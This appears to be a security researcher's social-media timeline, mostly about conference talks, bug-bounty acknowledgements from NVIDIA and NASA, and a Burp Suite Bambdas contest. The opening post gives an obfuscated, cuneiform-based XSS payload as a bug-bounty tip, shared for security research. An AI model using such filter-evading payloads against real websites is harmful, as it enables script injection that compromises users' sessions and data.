Lütfü Mert Ceylan

@OWASP Project Leader | Bachelor CSe Student
security researcher | founder @trbughunters
[email protected]

[Lütfü Mert Ceylan @lutfumertceylan]

an XSS payload, Cuneiform-alphabet based

𒀀='',𒉺=!𒀀+𒀀,𒀃=!𒉺+𒀀,𒇺=𒀀+{},𒌐=𒉺[𒀀++],
𒀟=𒉺[𒈫=𒀀],𒀆=++𒈫+𒀀,𒁹=𒇺[𒈫+𒀆],𒉺[𒁹+=𒇺[𒀀]
+(𒉺.𒀃+𒇺)[𒀀]+𒀃[𒀆]+𒌐+𒀟+𒉺[𒈫]+𒁹+𒌐+𒇺[𒀀]
+𒀟][𒁹](𒀃[𒀀]+𒀃[𒈫]+𒉺[𒀆]+𒀟+𒌐+"(𒀀)")()

#bugbounty #bugbountytips #cybersecurity

[Lütfü Mert Ceylan @lutfumertceylan]

@SamsungMobile #stop

[Lütfü Mert Ceylan @lutfumertceylan]

I am honored to share that I have been acknowledged in NVIDIA's Security Hall of Fame for responsibly reporting a vulnerability.

Find out more about NVIDIA's Hall of Fame here: https://t.co/sYVdq17MHR

#ethicalhacking #nvidia #halloffame

[Tur.js @Tur24Tur]

I've just developed my first @Burp_Suite Bambdas specifically to identify OWASP Top-25 Parameters potentially vulnerable to XSS, SSRF, RCE, SQLi, LFI, and Open Redirect. For easy code access, visit GitHub:
https://t.co/fCScaTPJ1I

#Bambdas #Java

[Lütfü Mert Ceylan @lutfumertceylan]

Congratulations to my colleague @Tur24Tur on their achievement, and I’m excited to appreciate Burp Suite’s latest update!

[Lütfü Mert Ceylan @lutfumertceylan]

While browsing the internet, I came across a tweet mentioning that my project was the basis of work by security researchers and even won in a Burp Suite competition. Witnessing the community’s interest in and contributions to the project is truly gratifying. :-)

[Burp Suite @Burp_Suite]

Next, we have another one of our winners @Tur24Tur with their Bambdas to identify potentially vulnerable OWASP top-25 parameters. 🎉

Well done - drop us a DM at @Burp_Suite to claim your #Bambdas t-shirt.

https://t.co/mvAFcuP2eP

[Lütfü Mert Ceylan @lutfumertceylan]

@esckral00 Teşekkür ederim, cansın :-)

[Lütfü Mert Ceylan @lutfumertceylan]

I was invited as a speaker to the OWASP 2024 Global AppSec Lisbon Conference, International Cyber Security Conference. I will be in Lisbon, Portugal from June 24-29.

This will be my second OWASP Global AppSec Conference speech, following my presentation at the OWASP 2023 Global AppSec Washington D.C. last year in the United States of America, and this year's conference in my homeland Turkey at Hacktrick 2024 held in the Information and Communication Technologies Authority of Turkey, and will be my first presentation in Europe as a student living in Poland.

As an @OWASP Foundation Project Leader, we all look forward to meeting you :-)

https://t.co/0fnLmRVxQw
https://t.co/zlflNLGOQd

#informationsecurity #applicationsecurity #owasp #bugbounty #appsec

[Lütfü Mert Ceylan @lutfumertceylan]

@hacktrickconf good memories📸

[Lütfü Mert Ceylan @lutfumertceylan]

It was an excellent experience to be a speaker at @hacktrickconf 2024, the largest cybersecurity conference in Turkey, my homeland. 🇹🇷 🏛️

I wanted to express my heartfelt thanks for the conference. It was incredibly valuable to come together with thousands of cybersecurity researchers from my country and the entire Organization of Turkic States, to connect and share our perspectives.

I am grateful to Kürşat Oğuzhan AKINCI (@KoAkinci) and Mehmet Caner Köroğlu (@cnrkrglu ) for their significant efforts in making this conference possible.

I had the opportunity to meet very valuable people and their life stories, such as @_denizparlak, @AltnokBesim, @echel0n_1881, Can Öztaş, @_taygun08_, @yilmazcanyigit and everyone else for the engaging and insightful conversations. Listening to the speeches of other speakers and this mutual transfer of information was an unforgettable memory for me.

The conference photos and details are accessible in here: https://t.co/q0L4lOKUKQ

I would like to thank the entire @hacktrickconf , @BTKgovtr, @BlackboxSecTR, @SiberKulupler, @siberkume, @TCSanayi and the hundreds of people I met at the conference for everything that happened!

#cybersecurity #hacktrick24 #informationsecurity

[Lütfü Mert Ceylan @lutfumertceylan]

🇬🇧I am pleased to announce that I will be speaking at Turkey's largest cyber security conference, Hacktrick 2024, tomorrow, May 17th. See you there!

---

🇹🇷Yarın, 17 Mayıs, Türkiyenin en büyük siber güvenlik konferansı Hacktrick 2024’de konuşmacı olacağımı duyurmaktan mutluluk duyarım.

#cybersecurity #hacktrick24 #infosec #bugbounty

[Blackbox Security @BlackboxSecTR]

Hacktrick 2024, siber güvenlik alanındaki son teknolojik gelişmelerin, yenilikçi çözümlerin ve gelecek vizyonlarının tartışılacağı bir platform olarak öne çıkıyor. Etkinlik katılımcıları arasında uzmanlar, endüstri liderleri, akademisyenler ve geleceğin siber güvenlik uzmanları bulunacak.

https://t.co/TNEid4foEm

[Kürşat Oğuzhan AKINCI🇹🇷 @KoAkinci]

Aşağıda belirtmiş olduğumuz süreç, daha önce de ifade ettiğimiz gibi OWASP ile iletişime geçilerek tüm tarafların barışçıl bir çözüm yolu bulması amacıyla sonuçlandırılmıştır. OWASP yetkilileri tarafından tarafımıza gönderilen referans mektubuyla birlikte, konuşmacı olarak başvuruda bulunan arkadaşımızın CFP başvurusu tekrar websitemizde ve programımızda yayımlanmıştır.

Tüm siber güvenlik ekosisteminin bilgisine sunarız.

[Lütfü Mert Ceylan @lutfumertceylan]

@mihad0x1 @NASA This is why private bug bounty programs are called "private". You can't share. o7

[Lütfü Mert Ceylan @lutfumertceylan]

I am pleased to share that I received a Letter of Appreciation from @NASA - National Aeronautics and Space Administration after discovering a vulnerability in their systems.

#bugbounty #vdp #NASA #cybersecurity

[Lütfü Mert Ceylan @lutfumertceylan]

@omranisecurity @owasp Thank you very much for your congratulations, good wishes mean a lot to me :-)

[Lütfü Mert Ceylan @lutfumertceylan]

It was an excellent experience to be a speaker at @OWASP Foundation Global AppSec Washington D.C 2023, the international cybersecurity conference for the 19th anniversary of my life.🏛️

🇺🇸 I learned too many things that I had the opportunity to experience for the first time in my life, as a Turkish young man, even daring to travel intercontinental and come to the capital of America was a huge step for me. It has been my dream since my childhood, I have always taken care to progress with discipline in this field, and now it makes me happy to reap the fruits of it. It was an honor for me to present my project, which is a part of the work I have done so far, as an OWASP Project Leader. I am also grateful to OWASP for this opportunity.

👋🏻 I had the opportunity to meet very valuable people and their life stories, such as David Han, Dr. Ugur Saritac, Cemil Yurdagul and Grant Ongers. Listening to the speeches of other speakers and this mutual transfer of information was an unforgettable memory for me.

The conference photos and details are accesible in here: https://t.co/8iA6m3Xq5E

I would like to thank the entire @OWASP Foundation and the hundreds of people I met at the conference for everything that happened! #cybersecurity #owasp #informationsecurity #informationtechnology

[Lütfü Mert Ceylan @lutfumertceylan]

@owasp good memories📸

[Lütfü Mert Ceylan @lutfumertceylan]

I am pleased to attend the first International Threat Modeling conference in the industry to meet, interact, and connect with top TM practitioners, ThreatModcon 2023, as an audience and meet valuable people, which will be held in Washington, D.C on October 29th.

Thanks to the invitation I received from Ms. Shuning Hsu, @TMConnectHQ Community Manager.

You can get your tickets while it's still open.
https://t.co/4rREeACFf4

#cybersecurity #bugbounty #threatmodeling #informationsecurity

[Lütfü Mert Ceylan @lutfumertceylan]

O’Reilly yayınevinin serilerinden biri olan 97 Things Every Application Security Professional Should Know kitabında adım, fotoğrafım ve biyografimin yanı sıra siber güvenlik makalelerimin dünya çapında yayınlanacağını duyurmaktan mutluluk duyuyorum.

Kitap 2024 yılının başında yayınlanacak ve ben de bunun bir parçası olacağım. Davetleri için yazar Christina Morillo'ya ve editör Yabing Wang'a teşekkür etmek istiyorum. Hayatımın 19. yılı için mükemmel bir deneyimdi :-)

[Lütfü Mert Ceylan @lutfumertceylan]

I am pleased to announce that my cybersecurity articles, along with my name, photo and biography, will be published worldwide in the book 97 Things Every Application Security Professional Should Know, one of @OReillyMedia’s series.

The book will be published in early 2024 and I will be a part of it. I would like to thank author Christina Morillo and editor Yabing Wang for their invitation. It was a perfect experience for my 19th year in my life :-)

#CyberSecurity #bugbounty #informationsecurity